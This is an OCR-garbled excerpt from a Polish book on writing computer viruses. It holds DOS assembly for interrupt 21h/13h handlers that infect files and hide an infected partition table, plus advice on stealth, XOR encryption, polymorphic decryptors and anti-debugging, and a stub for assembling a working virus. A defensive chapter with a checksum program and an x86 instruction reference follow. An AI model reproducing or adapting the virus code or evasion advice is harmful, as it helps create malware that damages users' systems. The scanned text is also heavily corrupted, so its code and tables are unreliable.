) ) ;{wektor 0:4AH} jest _ . i )

e wlasciwy_start pliku ; rowny IoZmiarowl pamiecl.

call przechwycenie_przerwan  ; instalacja wirusa w @QLISTING =
call zarazenie tablilicy_partycii ; pamieci 1 zarazenie

. ; tablicy partveii.
wlasciwy_start_pliku: '

mov CX,Ch
mov ds, cx
mov ax,cs_start
moy hw,ip =start
pPop eg ; Przywrocenie oryginalnych zawartosci
; rejestrow DS i ES
pop ds ; oba te rejestry wskazuja na segment PSP
mev cx,ds ; programu
add ax,cx ; W rejestrze AX znajduje sie segment
; punktu startu programu
add ax,10h ; Jest on liczony wediug wzoru
; sagment PSP + 10H (na PSP} +
push X ; + os_start, gdezle ¢s start jest to
; wartosc przesuniecia
push bx ; segmentu CS zapamietana z naglowka pliku
retf ; skok do oryginalnego punktu startu programu
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Maskowanie obecnosci wirusa w systemie

Kazdemy tworcy wirusa zalezy na tym, aby maskowat on maksymalnie diuge swojg obecnosé w systemie, tak zeby
uzytkownik komputera nie zauwazal, ze system jest zainfekowany oraz Zeby nie zauwazaty tego programy antywirusowe.
Niewykryty w pore wirus ma wigksze moziwoéci rozmnaZania sie. Maskowanie odbywa sie gidwnie poprzez przechwycenie
niektorych przerwari i podawanie pewnych wartos«i, takich jak przed zainfekowaniem. Do tego cefu stuza gidwnie przerwania
21H i 13H, chocia2 moga zostad wykorzystane i inna. Informacgje, co do kidrych wirus moze ,0szukiwad” system lo:

Podawanie zawartosci tablicy partycji i bloku tadujacego takich jak przed zarazeniem.
» Podawanie rozmiarow plikdw takich jak przed zarazeniem

= Podawanie nig tyiko rozmiaréw, ale i oryginaingj zawarosci plikéw. W tym celu wirus przechwytuje funkcie sy-
stemowe czylajgee z pliku. Te technika nosi nazwe STEALTH {ang. — niewidzialny}

* Podawenie oryginalnych adresdw procedur obstugi przerwan przechwyconych przez wirusa

Oprécz tego wirus moze wykorzystywad te przerwania do zarazania zbioréw podczas proby dostgpu do dysku, do
informowania o swojej obecriosel w systemie (tak aby nie nastapita proba poncwnej infekeji zarazonego systemu) oraz do
uniemozliwienia zapisu czegokolwiek do sekioréw zajmowanych przez kod wirusa.

Swojg cbecnosd na dysku wirus moze maskowac poprzez zaznaczenie sektordw ze swoim kodem jako bigdnych w tablicy
FAT lut poprzez wplsanle slg do sektoréw hie nalezacych do DOS-owskiego dysku fogicznego {np. na dyskietce 5,25" 2520
na 41 gciezkg).

_Przykiadowe procedury obsiugi przerwar) 13h i 21h mogg dziala¢ nastepujaco:

adres_21h_ofs dd far ptr (?)
licznik_zarazen db 0

przerwanie_21lh:

sti

push ax

push bx

push ox

push dx

push si

push di

push ds

push es

pushf

cp ah, Geh

ine pl

mov al,licznik zarazen

inc a

and al,7fh

mov licznik zarazen,al

omp al, o

jne pl

call zarazenlie_pliku ; Zarazanie pliku raz na 80H
. ; operacji zmiany napedu
Jmp end_z2Z1h

pl: cmp ax, haslo

jne pd

popf

pop es

pop ds

pop di

pop si

pop dx

pop ox

por bx

pop ax ; Informacja dla innych kopii wirusa, ze
m?y ax,cdzew ; system jest juz zarazony
cli

iret

pP2:
end_21h:

popf

pop es
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pop ds

pop di

pop si

pop i

pop cxX

pop bx

pop ax

cla

Jmp ca:far [adres 21h_ofs+21 ; skok do wlasciwej

i procedury obslugi
; przerwania

adrez_13h_ofs dd far ptr ()

przerwanie_13h:

sti

pushf

chp ah, 2
g jne dalej
- Leiie) dh, 0
E ine dalej
} cImp di,o
x je dalej
- cnp dl, 1
E je dalej
; cmp cx, 1 ; Sprawdzenle czy nastepuje proba cdczytu
1 jne dalej : tablicy partyeji dysku twardego.
3 mov cx, 9 ; jesli taﬁ to w miejsce zarazonej tablicy
3 ;7 wezZytywana tablica oryginalna { W tym
3 i preyvpadku z sekteora 0,0, 9)
E dalej:
; popf
3 cli

Jmp cs:far [adres_l13h_ofs+2] ; skok do oryginalnej

i procedury obslugi
; Przerwania

Niekidre wirusy przechwytuja jeszcze przerwanie zegarowe i co 1/18 sekundy sprawdzaja czy wirus nie ulegt uszkodzeniu,
& .2y zgadizajg sig odpowiadnie sumy kontrolng. Jesli lak, lo istnigje mozliwosé, 2o dzlatanie wirusa jest sledzone przez
deouggera. W takim wypadku wirus usuwa sig z pamieci jub powoduje restart systemu.

Osobnym ternatam jest kodowanie kodu wirusa. Wiasciwie jest to zagadnienie na samodzielng ksigike. Ksziah
- I skomplikowanie procedury kodujacej moze zalezed tylka od tego, ile czasu bedzie Ci sig chriaky wiozyé w jej napisanie.
- Motesz na przyklad stosowaé rdzne procedury koduigce w zaleznosci od dnia, miesiaca lub godziny. Zasada jest taka, ze
¢ im wigoej czasu podwiecisz na pisanie takie] procedury, tym wirus bedzie trudniejszy do wykrycia przez programy
anlywirusowe. Najprostszg metods kodowania jest tak zwane xerowanis, czyli wykonywanie operagji xor na kazdym bajcie
r  kodu. Kodowanie w ten sposob ma taka zaletg, Ze procedura kodujaca jest rownoczesnie procedurg dekodujaca, gdyz
<3 Wykonanie dwukrotnie operagji xor na jakims elemencie daje w wyniku ten sam element. W tregci przyktadowego wirusa
4 - majdufe sig procedura kodujaca dysk twardy, korzystaiaca z xorowania.

y W lemacie kodowania” jest jeden staby punkt. Mianowicie procedura dekodujaca nie moze by¢ sama zakodowana, & ¢0

2 bym idzie wykrywajac obecnose takie] procedury wykrywa sig cbecnosé samego wirusa. Aby temu zaradzié stosuje sig
- procedury dekodujgoe o zmiennej budowie. Przykladowo, jesli pomiedzy instrukeje dekodujace wstawi si ¢ przypadkowy ciag
. bejlow (22 kadym razem inny) oraz instrukcjg skoku do nastepnego sensownego rozkazu, to taka procedura nie bedzie
midka tteago wzorca. Jest to jednak juz zupelnie inna bajka i byé moze w I czesci ksiazki ...

~ Mydlg, 20 z grubsza omdwilem mechanizmy stosowane przez wirusy w celu maksymalnie dugiago maskowania swojej
. thmnedel w komputerze, Nic jednak nie stoi na przeszkodzie abys wymyslit swoje wiasne procedury maskujace (wymagac
 bydzie przade wszystkim duzego nakiadu pracy). Musisz sobie zdawaé sprawe tylko 2 tego, 2e 2adna procedurg maskujaca
* tiejest skuteczna wiedy, gdy wezyta sig systam operacyjny z niezainfckowanej dyskietki, tak 2e predzej czy pdiniej, kazdy
. WKUs 2051anie wykryty.

- Ostatnia czg8¢ wirusa, czyé dowcip zalezy tylko i wylacznie od Twoje] inwencji. Osobiscie polecamn bardziej robienie
- Gowcipdw w stylu kropkojada, czy 2artownisia { Woda wykryta w koprocesorze Il , Jestem glodny — wiéz HAMBURGERA
-donapedu a: It , Pocatuj mnie w ... Kiawiaturg II! itd.), niz formatowanie dysku twardego albo préby zniszczenia karty
: preficznef, czy zagrania marsza na stacji dyskow.
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Na tym zakoriczyli$my przegiad géwnych procedur, z kidrych skladaj sig typowe wirusy. Qczywiscie kazda z tych procedur
moze zostad napisana zupeinie inacze] i tylko od Ciebie zalezy jak bedzie wygigdac, waine tylko aby speiniala mniej wigcej
takis same funkcje, jak te przedstawione powyze),

Skonstruowanie wirusa z tych procedur nie powinno stanowic problemu. Po prosiu zapisz poszczegolne procedury jedna
po drugiej, zaczynajac od tablicy_partycii, aé na koricu dotgez cos w tym stylu:

instaluj:

call zarazenie_tablicy partyeii;lub call zarazenie_pliku
mov ax, 4CH

intg 2lu

koniec: end instaluj

18. Profilaktyka

Naiprostsza metoda zabezpieczenia sie przed wirusami jest korzystarie tylko i wytacznie 2 oryginalnych programaow.
Dyskietki firmowe nie powinny zawierad zadnych wiruséw, a jesli juz jakis sig zdarzy, to firma, ktdra sprzedaje program musi
wyrownac wszelkie straty powstate przez wirusa. Korzystanie z dyskielek 2 wszelkich innych Zrodet niesie 7a soba ryzyko
zarazenia komputera, Jednak i w tym wypadku, jesli ztapiesz wirusa nie wpadaj w panike. Wystarczy mie zaklejone kopie
zhioréw z dysku twardego, oraz dyskistke z oryginalng zawartoscig, tablicy partycji i bloku fadujacego dysku twardego
(Utworzone na przykiad przy pomocy programu Norton Utilities). Majac takie kopie mozesz by€ pewny, 2e wirus nie zniszezy
2adnych ceninych danych na dysku.

W przypadku zauwazenia jakichkolwiek anomafidw w pracy komputera, zaladuj na nowo system z zaklejonej dyskietki, co
do kidrej masz pewnosé, ze nie jest zawirusowana. Jest to konieczne, gdy? jak pewnie juZ wiesz po przeczytaniu
poprzedniego rozdziatu wirusy, moga, stosowac rézne sztuczki w celu maskowania swojej obecnosci w systemie. Nastgpnie
poréwnaj zewartosc tablicy partycjl i bloku taduigcego dysku twardego, z tymi, kidre znajdujg sig na dyskietce. Pordwnaj
talcde roziniary plikaw z dysku twardego i 2 dyskietek, Jedhi zauwazysz akiekolwiek réznice, bgdzie to mnaczyio, za w systemie
lest wirus. Najprostszg metoda pozbycia sig go jest przywrécenie oryginainej tablicy partycjl | boot sektora oraz ponowne
przekopiowanie z dyskietek plikow, kidre sq zarazone. Jesli cheesz sig pobawié w pogromee wirusow to mozesz przeanali-
zowaé kod wirusa (zawsze bedzie sig wykonywat na peczatku zaraZonych programéw). Najwaznigjsza informaca, kidrg
musisz wyciagnac z wirusa, to adres pierwolnego punktu stantu programu oraz ewentuainie oryginalne bajty poczatku pliku.
Przywrécenie oryginalnych wartodel do nagléwka i zawantodcl pliku unieszkodliwia wirusa (moze on fizyczaie zostad w pliku,
ale nie uaktywniad sig podczas wykonywania programu}, Ostatnim krokiern moze by¢ wykasowanie tej czescl pliku, w ktorej
znajduje sig kod wirusa, nie jest to jednak czynnosé niezbgdna,

To co przedstawiem wyze] to calkowita teoria walki z wirusami. Przynajmniej w maim przypadku sprawdza sig w stu
procentach. Walka z kazdym typem wirusa jest inna, poniewaz w kazdym moga by¢ Zastosowane inne sziuczki. Mysle
jednak, e przy kazdym z nich przydadza Ci sig wiadomosci z poprzedniego rozdziatu.

No pewnie, tatwe powiedzie¢ W preypadku zauwazenia jakichkolwiek anomaliow w pracy w pracy komputera...". Pewnie
zastanawiasz sig ,co ten facet od Ciebie chee i skad masz byé taki genialny Zeby samemu wyc2ué winisa w swoim systemie.
Otéz najprostsza metod sprawdzania, czy wirusy nie dotaczyty sig do jakiegos pliku {a co za tym idzie, czy nig ma ich
w sysismis) jest sprawdzenie jego sumy kontrolngf. Suma ta moze byé liczona na wiele sposcbow. Jeden ze sposobdw
przedstawie ponizej. Program liczacy sume jest napisany w Turbo Pascalu. Jesl wywolasz program bez parametrow
wejsciowych, to po wywolaniu pyta o nazwe zbioru. Program liczy sume tylko dia pojedynczega zbioru. Mozesz go tak
zmodyfikowad, Zeby liczyt sume po kolei dia kazdego zbiony w katalogu (lub dla kazdege zbioru na dysku), a takze aby
zapamigtywat gdzies (na preykdad w seklorach dysku niswykorzystywanych przez system) te sumy i przy nastgpnym
przebiegu sprawdzat, ¢zy nie zaszly jakies zmiany.

{t***************itt*******************************i***************}

* *}
E: Program Suma andrzej Dudek Pazdziernik 1992 :%
{* Program liczy sume kontrolna dla pliku, ktorego nazwa *}
[: przékazywana jest jako parametr jege wywolania. *}

*
{* Uzycie: x}
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{* Suma nazwa_zbhiornu *}
* *
[*1%1#‘*1!ll*!ﬂlltll!ttt!ttt!ﬂrttﬂ!tt!Rﬂt!t!t*"*'******w***ww**w&*]
{51~ 3R~}
VAT
suma :longing;
nazwa sstring;
f :file;
blad ihvte;
bufor sword:
przeczyvtane :word;
begin
if paramcount<=0 then nazwa:=paramstr{l)
else
begin
writeln;
writeln{ 'Podaj nazwe zbioru do sprawdzenia’);
readlninazwal
end;
asgigni{f,nazwa) ;
reset{f};

blad:=ioresult;
if bladl then

begin
Er%%eln[‘bledna nazwa pliku lubk bhlad otwarcia’):
a
end;
guma =0
while not eof(f) do
begin
: blockread({f, bufor, sizeof {(word) , przeczytane);
blad:=1icresult;
if blad<>0 then
begin
Writeln({ Blad odczytu z pliku');
halt
end;
suma :=suma+bufor;
end;

wrételn {’Zuma kontrolna pliku ’,nazwa, ' wynosi ¢, suma);
end.
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19. W 80 swiatow dookota dnia

Wiym rozdziale znajduje sig zestawienie roznego rodzaju tabel i koddw, kidre na pewno przydadzg Ci sig przy codziennej
precy 2 komputerem, a Ktdrych i tak nigdy bys nie spamietat. Starafem sig pozbierad malernizly dotychczas porozrzucane po
winych pubiikaciach, wychodzac z zatozenia, ze lepiej miec na biurku jedng ksigzke niz pigtnascie. Wiadomosei czerpalem
zksigzek [1-7] oraz z reweiacyjnego programu firmy Flambeaux Software - TechHelp, Norton Guide'a i programéw firmy
Mealee, Jeshi korzystatemn z innych pubiikac, to jest to zaznaczone w tekdcie. Staratem sig zachowad terminclogie (nie
zawsze mi sig to udawale) taka, jak w bardzo dobrej ksigzea J.Demineta System operacyjny MS-DOS” [6]. Uwazam bowiem,
1 nalezakoby wreszcie zrobi¢ porzadek w nazewnictwie zwiazanym z IBM-em, zeby nie pojawialy sig takie kwiatki jak
4  mbulowanie systemu, czy dwumiasnigoie myszka, a terminy zaproponowane w te] ksigzce w miare doktadnie odpowiadajg
A nazwom angielskim,

£ Listarozkazow

Wiym paragrafie znajdujg sie rozkazy procesordw Intel 808678088, 80286, 80386 oraz te z rozkazéw procesora 80486,
Kifre nie operujg na liczbach zmiennapozyeyjnych. Farmat opisu rozkazdw jest nastepujacy:

Rozkaz: mnemonik odpowiadajacy rozkazowi

Procgsory: Josli rozkaz jest dostepry na wszystkich z wyzej wymienionych komputerow, to w tym migj-
scu jest napis Wszystkie”, w przeciwnym wypadku znajduje sie nazwa procesora, ktory
pierwszy miat w swoim zestawie instrukgji ten rozkaz, Przykladowo napis B0286 oznacza,
ze rozkaz moZe by¢ wykenywany na procesorach 80286, 80386 i B0486. Przy rozkazach
tziatajacych na 32-bitowych argumentach nie zaznaczatem, Ze sq to sozkazy procesora
80386, ale to wynika z kontekstu. Rozkazy zaznaczone jake 80286 sq rozkazami trybu wir-

tualnego tego procesora.

Znaczniki: Stan rejestru znacznikéw po wykonaniu instrukeji. Symbol * oznacza, Ze znacznik jest usta-
wiany zgodnie z wynikiem operagji, zas symbot ? informuje, Ze znacznik jest niezdefinio-
wany po wykonaniu operacii.

Kod: Kod rozkazu w pastaci szestnastkowe].

Argurnenty: Oznaczenie argumentdw skiada sig z jednego z symbol;

imm — argument bezpasredni (stata}

r - rejestr

15 - rejestr segmentowy

m . adras

ral - adres relatywny

pir . wskaznik )

oraz z liczby 8, 15 lub 32 cznaczajacej dlugest argumentu w bitach. Argumentem moze
byd tez nazwa rejestru.

Cpis: Qpis dziatania rozkazu.

Rozkaz: AAA

Procesory: Wszystkie

Znaczniki:

D1 T8 Z A P C
f’ f) ? * -’} L}
Kod
7 Brak
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Opis: Korekcja rejestru AL po obliczeniu sumy dwdch niespakowarnych liczb zapisanych w ko-
dzie BCD.
Rozkaz: AAD
Procesory: Wszystkie
Znaczniki:
D1 TS Z A P C
i?- r * I") i * l 1’ ‘
Kad Argumenty
D5 0A Brak
Opis: Korekeja przed wykonaniem operacji dzielenia. W rejestrze AL musi znajdowad sie mmnigj
znaczaca cylra liczby, w rejestrze AH - bardzigj znaczgea cyfra.
Rozkaz: AAM
Procesory: Wszystkle
Znaczniki:
oDt TS Z A P G
NOENEDORORERE
Kod n
D4 04 Brak
Opis: Korekeja liczby z AX po wykonaniu mnozenia. Bardzie] znaczaca cyfra jest umieszczana
w AH, a mniej znaczaca w AL
Rozkaz: AAS
Procesory: Wszystkle
Znaczniki:
gD+t TS £ A P C
ENEDEEEDDEDNERE
Kod Argumenty
3F Brak
Opis: Korekcja rejestru AL po obliczeniu réznicy dwdch nieupakowanych ficz zapisanych w ko-
dzie BCD.
Rozkaz: ADC
Procesory: Wszystkie
Znaczniki:
D1 TS Z A P C
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Kod Argumenty
10 1/m8,r8

1} m16,r16

1 m32,132

12 t8,r/mg

13 r16,ifm

13 ra2,/m3z2

14 AL,imm3

15 AXimm18
15 EAX imma32
80/2 r/mg,imms
172 rfmi6.imm18
8172 rm32,imm32
8312 rm16,inm3
83/2 1fm32,imm8
Opis: Otliczenie sumy dwach liczb, z ewentualnym dodaniem 1, przy ustawionym znaczniku

przeniesienia C { umieszczenie wyniku w pierwszym opearandzie.

Rozkaz; ADD

Procesory: Wszystkie

Znaczniki:
ool 7T 68 Z A P C
* i J + * * " N

: i

Kod

o1 t/m8,r8

o1 rfmi6,r1g

1 m32,132

02 r8,rfm8g

03 r6,r/mié

03 r32,r/m32

04 ALimm8

05 AX,immiG

05 EAX,imm32

80/0 /m8,imm8&

81/0 K'mi16,immig

B1/0 Fma32,imma2

8370 rfm16,imm8R

8370 #maz,imms

Opis: Obliczenie sumy dwdch liczb, bez uwzglgdniania przeniesienia i umieszczenie wyniku

W pisrwszym operandzie.

Rozkaz: AND
Procesory: Wszystkie
Znaczniki;

c oI T8 Z A P C
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Kod n

20 t/r8,r8

21 #mi1G.r16

21 fm32,r32

22 r8,1fmg

23 ri6,r/m16

23 r32,/m3z

24 AL,imm8

25 AX,imm16

25 EAX,imm32

80/4 t/m8,imma

B1/4 #m16,immi6

8174 m32,imm32

834 rm18,immBR

B34 r/m32,imm8

Opis: Rozkaz oblicza iloczyn logiczny dla wszystkich odpowiadajacych sobie par bitdw.

Rozkaz: ARPL

Procesory: 80286

Znaczniki:

QD1 TS Z A P C

Kod rgumen

63 fm16,ri6

Opis: Testowanie poziomu uprzywilajowania. Jesli pole RPL {ang Request Privelege Level - 2a-
dany poziom uprzywilgjowania) jest mnigjsze niz pole RPL drugiego argumentu, to ustawia-
ny jest znacznik Z, a pele RPL pierwszego argumentu przyjmuje warlosé RPL drugiego ar-
gumentu.

Rozkaz: Bound

Procesory: Wszystkie

Znaczniki:

DI TS Z A P C

Kod A%umgﬂm

§2 r16,m16&16

62 r32,m32832

Opis: Rozkaz sprawdza, czy indeks zawarty w rejestrze miesci slg w przedziale okreslonym
przez dwis kolejne kemérki wskazywane przez drugi argumant. Jesli nie, to wywolywane
jest przerwanie 5.

Rozkaz: BSF

Procesery: 80386
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Znaczniki:
c DI T8 Z A P C
Kad Argumenty
OF 8C rig,’m1é
OF BC 132,rfm32
Opis: Szukanie pierwszego ustawionago bitu w kolejnodei naturalngj. Rozkaz sprawdza bity dru-
giego argumenitu, zaczynajac od bitu 0. Jes!i wszystkie bity s3 wyzerowane, to znacznik
Z jest zerowany, w przeciwnym wypadku znacznik Z jest ustawiany, a do pierwszego ope-
randa wpisywany jest numer pierwszego bitu, ktdry nie byt wyzerowany.
Rozkaz: BSR
Procesory: 80386
Znaczniki:
DI TS 2 A P C
Keod Argumenty
{F BD ri6,rfmte
OF BD r32,rfm32
Opis: Szukanie plerwszego ustawionego bity w kolejnosci odwrotnej. Rozkaz sprawdza bity drugie-
go argumentu, zaczynajac od bitu najbardziej. znaczacego. Jesl wszystkie Dily sa wyzerowa-
ne, to znacnik Z jest zerowany, w przeciwnym wypadku znacznik Z jest ustawiany, a do
pierwszego operanda wpisywany jest numer pierwszego bitu, kidry nie byt wyzerowany.
Rozkaz. BSWAP
Procesory: 80486
Znacznik;:
cpDl1 78§ 2 A P C
Kod Argumenty
132
Opis: Wymienia kolejnosé od najmniej o najbardziej znaczaceqo bajtu w rejestrze na kolejnosc
od najbardziej znaczacego do najmniej znaczgcego.
Rozkaz: BT
Procesory: 80386
Znaczniki:
OD¢t TS Z A P C
Kd Argumenty
OF A3 #mi6,r16
OF A3 rm3e.rg2
OFBA /4 Hm16,imma
OFBA /4 rfma2,imm8
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Ogpis: Funkcja kopiuje bit z pierwszego argumentu do znacznika C. Numer bitu jest preekazywa-
ny w dragim argumaencie.
Rozkaz: BTC
Procesory: 80386
Znaczniki:
OD1IV T S Z A P (>
Kod Argumenty
QF BB ifmi6,r16
OF BB rfm32,r32
OFBA /7 ’m16,mma
OFBA /7 rfm32,imm8
Opis: Funkeja kopiuje bit z pierwszego argumentu do znacznika C i wpisuje w jego miejsce bit
przeciwny. Numer bitu jest przekazywany w drugim argumencie.
Rozkaz: BTR
Procesory: 80386
Znaczniki:
D1 T 8 Z A P c
Kod
OF B3 tm16,r16
OF B3 1/m32,r32
OFBA /6 rfm16,imm8
{FBA /6 1fm32,imm8
Opis: Funkcja kopiuje bit 2 plerwszego argumentu do znacznika C, a nastepnie wpisuje w jego
miejsce 0. Numer bitu jest przekazywany w drugim arqumencie.
Rozkaz: BTS
Procesory: 80386
Znaczniki:
ODI1I TS Z A P C
Kod ment
OF AB fm16,118
OF AB m32,r32
OFBA /5 r/m16,imm8&
OFBA /5 fm32,imm8s
Opis: Funkcja kopiuje bit z pierwszego argumentu do znacznika C, a nastepnie wpisuje w jego
migjsce 1. Numer bitu jest przekazywany w drugim argumencie.
Rozkaz: CALL
Procesory: Wszystiie

Jak pisac wirusy

Strona:71



71

Jak pisac wirusy

Znaczniki:
oODI TS Z A P G
l l
| | | 1] l
Kod Argquman
E8 el
FF /2 rfm16
9A ptrig:16
FF {3 mi6:16
E8 reld2
FF m32
9A ptr16:32
9A ptr3z2:32
FF /3 mi16.32
Opis: Funkcja wykenuje skok do procedury, po powrocie 2 procedury wykonywana jest nastgpna
w kolejnosci instrukcia.
Rozkaz: CBW
Procesory. Wszystkie
Znaczniki;
' o0V TS Z A p C
| [ )
|RRERER _
Kod Argumenty
98 Brak
Opls: Zamiana bajtu na stowo. Przekszlatcenie liezby 2 rejestru AL bez zmiany wartodel | umiesz-
czenie jej w AX.
Rozkaz: CLC
Procesory. Wszystkie
Znaczniki:
DI TS Z A P c
RN :
Kod Argumenty
F8 Brak
Opis: Wyzerowanie znacznika przeniesienia C.
Rozkaz: CLD
- .Procesary: Wazystkie
Znaczniki:
oD1 TS Z A P G
0
Ked n
FC Brak
Opis: Wyzerowanie znacznika kierunku D.
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Rozkaz: cL
Pracasory: Wszystkie
Znaczniki:
QDI T 5§ Z A P C
0
Kod Argumenty
FA Brak
Opis: Wyzarowanie znacznika zezwolenia na przerwanie .
Rozkaz: CLTS
Procesary: 80286
Znaczniki:
O01 TS 2 A P C
Ked Argumenty
0F 06 Brak
Opis: Instrukcja zeruje znacznik TS (ang Task Switched — przelgczone zadanie) w stowie stanu.
Mozna go uzywac w trybie wirtualnym procesora, na najwyZszym poziomie uprzywilejowa-
nia.
Rozkaz: CMC
Procesory: Wszystkie
Znaczniki:
0D T S8 Z A P C
Kod Argumenty
F& Brak
Opis: Rozkaz zamienia warto$é znacznika przenigsienia C na przeciwna,
Rozkaz: CMP
Procesoly: Wszystkie
Znacaniki:
OD! TS Z A P ¢
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Ked Argumenty
ac AL.immé8
aD AX immiB
3D EAX,imm32
8O/7 tm8.imm3
8177 tfm16imm16
B1/7 rfm32,imm32
B377 tfm16,immé
837 im32,imm8
38 r/m8,r8
39 #miB,r16
39 m32,r32
3A 18,1/m8
3B 118,/im18
3B r32,1fma32
Opis: Pordwnanie dwach argumentow. Rozkaz odejmuje zawariosé pierwszego argumentu od
drugiego, jednak nie zapisuje nigdzie wyniku, a tylko ustawia odpowiednie znaczniki.
Rozkaz: CMPS,CMPSB,CMPSW,CMPSD
Procesory. Wszysikie. GMPSD — 80386
Znaczniki:
ODI T 8§ Z A P G
Kod mer
AB CMPS m8,m8
AT CMPS m1g,18
A7 CMPSB
Ab CMPS m32,m32
A7 CMPSW
A7 CMPSD
Opis: Poréwhanie kemadrek ES:[(E)DI] i DS:[{E)SI] craz zmnigjszenie (E)DI i (E)SH o rozmiar pe-
réwnywanych komorek, jesli znacznik Kierunku D jest ustawiony lub zwigkszerie &)
i (E)DI o rozmiar komdrek jesli D jest wyzerowany. Instrukeja poprzedzona przedrostkiem
REP moze stuzy¢ do poréwnowania faricuchéw. Iinstrukeja CMPSB pordwnuje baity (roz-
miar 1), CMPSW - slowa {rozmiar 2), CMPSD - stowa podwojne {4).
Rozkaz: CMPXCHG
Procasory: 80486
Inaczniki:
OB 1 T8 Z A P C
Kod n
rfm,r
Opis: Rozkaz pordwnuje dwa argumenty, a nastgpnie wymienia ich zawartasci.
Rozkaz: CWD
Procesory: 80386
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Znaczniki:
ODII T S8 Z A F C
BEREREEEREEEN
Kod Argumenty
99 Brak
Opis: Rezkaz zamienia stowo z¢ znakiem z rejestru AX, na podwojne stowo ze znakiem
wDXAK.
Rozkaz: CWDE
Procesory: 80386
Znaczniki:
DI T S8 2 A P C
Kod Argumenty
98 Brak
Cpis: Rozkaz zamienia sfowo ze znakiem z rejestru AX na podwdjne stowo ze znakiem w EAX,
Rozkaz: DAA
Procesory: Wszystkie
Znacznikk:
001 1T 85 7 A P C
‘? + * * +*
Kod Argumenty
27 Brak
Opis: Rozkaz dokonuje korekefi dziesiging), po umieszezeniu w rejestrze AL sumy dwdch upako-
wanych cyfr w zapiste BCD.
Rozkaz: DAS
Procesory. Wszystkie
Zneczniki;
oDl T8 Z A P G
. ¥ + ! L] * w
T T T
Ko Argumenty
2F Brak
Opis: Rozkaz dokonuje korekeji dziesietne] po umieszczeniu w rejestrze AL réinicy.
Rozkaz: DEC
Procesory: Wszystkie
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Znacznili:
O DI TS Z A P C
Kod Argumenty
FEA 1fm8
FEA tm16
FEA rfm32
43 1né
48 132
Opis: Rozkaz zmniejsza operand o 1. Nie ustawia znacznika C.
Rozkaz: DIV
Procesory! Wszystkie
Znaczniki:
DI TS Z A P C
? 717 " | v i
Kod Argumenty
F6/5 1f/m8
Fi6 tfm16
F7i6 1fm32
Opis: Dzielenie liczb bez znaku. wersja 8, 16 i 32 bitowa dzieli liczbe 2najdujacs sig odpowiednio
w AX, DX:AX, EDX:EAX przez operand i umieszcza wynik z dzZielenia.
Rozkaz; ENTER
Procesory: 80286
Znaczniki:
oDt TS Z A P C
Kod Argumenty
8 imm16,0
c8 imm16,1
c8 imm18,imm8
Opis. Instrukcja tworzy przestrzeri na stosie dia zmiennych lokalnym. Pierwszy parameltr pkresla
- rozmiar potrzebne] pamiegi, drugi definiuje poziom podprogramu.
Rozkaz: HLT
Procesory: Wszystkie
Znaczniki:
OD1tVt+ TS 2 A P c
Kod Argumenty
F4 Brak
Opis: Rozkaz wstrzymuje wykonwanie nastepnych rozkazéw | powoduje oczekiwanie na przer-
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Rozkaz: IDIV
Procesory: Wszystkie
Znaczniki;
oODI TS 2 A P C
v 217 ? 7 7
Kod m
F&/7 rfm8
F7i7 rfm16
F7i7 rm32
Opis: Dzielenie liczb ze znakiem. Wersja 8, 16 i 32 bitowa dzieli liczbe znajdujaca sie odpowie-
dnio w AX, DX:AX, EDX:EAX przez operand i umieszcza wynik z dzielenia w AL (AX,
EAX), a reszte w AH (DX EDX),
Rozkaz: IMUL
Procesory: Wszystkie
Znaczniki:
oDt T8 2 A P C
i 3 ? ? f} n? *
Kod i
F6/5 rm8
F7/5 rm16
Fi/5 ma2
OF A¥ ri6,r/miB
OF AF 132,//m32
6B r18,i/m16,immB
68 r32,1fm32,immé
6B r16,imm8
68 132, imms-.
69 r16,1/m16,imm16
() rd2,#/m32,imma2
69 r6,immis
69 r32,imm32
Opis: Rozkaz wykonuje mnozenie dwdch liczh ze znakiem i umieszeza wynik w plerwszym ope-
randzie. Jesli posiada tylko jeden argument(8, 16 lub 32-bitowy) to w zaleznosci jest on po-
mnezony przez AL {AX, EAX], a wynik jest umieszczany w AX (DX:AX, EDX:EAX). W wer-
sji z trzema argumentami rozkaz mnozy drugi argument przez trzeci i umieszcza wynix
w pierwszym, Jedli rezultat nie migsci sig w rejestrze docelowym, 1o jest ustawiany znacz-
nik C.
Rozkaz: IN
Procesory: Wszystkie
Znaczniki:

oOoDI T S§ Z A P C
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E4 AL, mm8
E5 AX,imm3
E6 EAX imm8
EC ALDX
ED ALDX
ED EAX,DX
Opis: Czytanie z portu. Rozkaz umieszeza warlo$C przeczytang Z poriu @ numerze preekazywas-
nym jako drugi arqument do rejestru AL {AX, EAX).
Rozkaz: INC
Procesory: Wszystkie
Znaczniki:
D1 TS Z A P C
Kod n
FE/D rfm8
FE/0 #mi6
FEAQ m32
40 rté
40 132
Opis: Rozkaz zwigksza operand o 1. Nie ustawia znacznika C.
Rozkaz INS,INSB,INSW,INSD
Procesory: 80286
INSD - 80386
Znaczniki:
DI TS 2 A P C
Kod A[g;umentx
6C IN rfm8,DX
6D INS r’'mi6,32
60 INS tm32,0X
6C INSB
6D INSW
€D INSD
Opis: Instrukcje powoduja wprowadzenie z portu o numerze w DX jednego bajtu (stowa, slowa
nodwéinego) pod adres ES{(E)DI] | zwigkszenie jesli znacznik D=0 lub zmniejszenie jesli
znacanik D=1 rejestru {(E)Dlo 1 {2, 4}.
Rozkaz: INT,INTO
Procesoty: Wszystkie
Znaczniki:
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Kod rgument
gg INT3
' INT immg
CE INTO
Opis: Instrukeja INT wywotuje program cbshugi przerwania o danym numerze. Instrukeja INTO
wywollje przerwanie numer 4 w przypadku, gdy ustawiony jest znacznik Q. Instrukcje po-
wodujg przesianie na stos rejestry znacznikéw, wyzerowanie i T, zapamigltanie na stosie
rejestrow C3 # IP oraz daleki skok pod adres wskazywany wiablicy wektorow przerwan.
Rozkaz: INVD
Procesory: 80486
Znaczniki:
oOoD1 TS§ 2 C
Kod Argumenty
Brak
Opis: Rozkaz uniewaznia zablokowanie danych.
Rozkaz: INVLPG
Procesory: 80486
Znaczniki:
oOb1 TS Z C
Kpd Argumenty
m
Opis: Rozkaz likwiduje TLP pod danym adresem.
Rozkaz: IRET, IRETD
Procesory: Wszystkie
Znacznik:
D1 TS 2Z C
E ¥ * %+ L3 t ’
l
Zdjete ze stosu
Kod i
CF IRET
CF IRETD
Opis: Instrukcje powrotu z procedury obstugi przerwania. Powoduja zdjgcie ze stosu rejestrow
IP,C3 | rejestru znacznikéw. Instrukcja IRETD dziata na procesorach od 80386,
Rozkaz: Jee
Procesory: Waszystkie
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Znaczniki:
ool T8 2 A C
Kod Pastad Znaczenie Warunek
79 JB/NAE relf Skok gdy mniejszy ] C=1
